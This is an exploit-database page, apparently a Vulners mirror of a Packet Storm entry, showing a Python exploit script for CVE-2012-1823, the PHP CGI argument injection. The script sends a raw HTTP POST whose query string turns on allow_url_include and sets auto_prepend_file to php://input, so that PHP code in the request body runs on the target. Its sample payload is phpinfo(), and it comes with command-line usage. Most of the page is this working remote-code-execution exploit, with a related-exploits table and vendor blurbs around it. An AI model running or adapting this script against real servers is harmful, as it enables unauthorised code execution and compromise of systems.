Lucene search
K

PHP CGI Injection

🗓️ 06 May 2012 00:00:00Reported by rayh4cType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 123 Views

Cve-2012-1823 PHP CGI Argument Injection Exploit by rayh4c[0x40]80sec[0x2e]com

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PHP CGI Argument Injection
5 May 201200:00
zdt
0day.today
PHP CGI Argument Injection Exploit
5 May 201200:00
zdt
0day.today
PHP CGI Argument Injection Remote Exploit (PHP Version)
20 May 201200:00
zdt
0day.today
Plesk Apache Zeroday Remote Exploit
6 Jun 201300:00
zdt
0day.today
Apache Magicka Remote Code Execution Vulnerability
31 Oct 201300:00
zdt
GithubExploit
Exploit for OS Command Injection in Php
8 Jun 202406:36
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
11 Jun 202415:11
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
12 Jun 202411:50
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
30 Dec 202517:49
githubexploit
GithubExploit
Exploit for Command Injection in Php
1 Oct 201713:47
githubexploit
Rows per page
`######################################################################################  
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit  
# Date: May 4, 2012  
# Author: rayh4c[0x40]80sec[0x2e]com  
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com  
######################################################################################  
  
import socket  
import sys  
  
def cgi_exploit():  
pwn_code = """<?php phpinfo();?>"""  
post_Length = len(pwn_code)  
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1  
Host: %s  
Content-Type: application/x-www-form-urlencoded  
Content-Length: %s  
  
%s  
""" %(HOST , post_Length ,pwn_code)  
print http_raw  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((HOST, int(PORT)))  
sock.send(http_raw)  
data = sock.recv(10000)  
print repr(data)  
sock.close()  
except socket.error, msg:  
sys.stderr.write("[ERROR] %s\n" % msg[1])  
sys.exit(1)  
  
if __name__ == '__main__':  
try:  
HOST = sys.argv[1]  
PORT = sys.argv[2]  
cgi_exploit()  
except IndexError:  
print '[+]Usage: cgi_test.py site.com 80'  
sys.exit(-1)  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation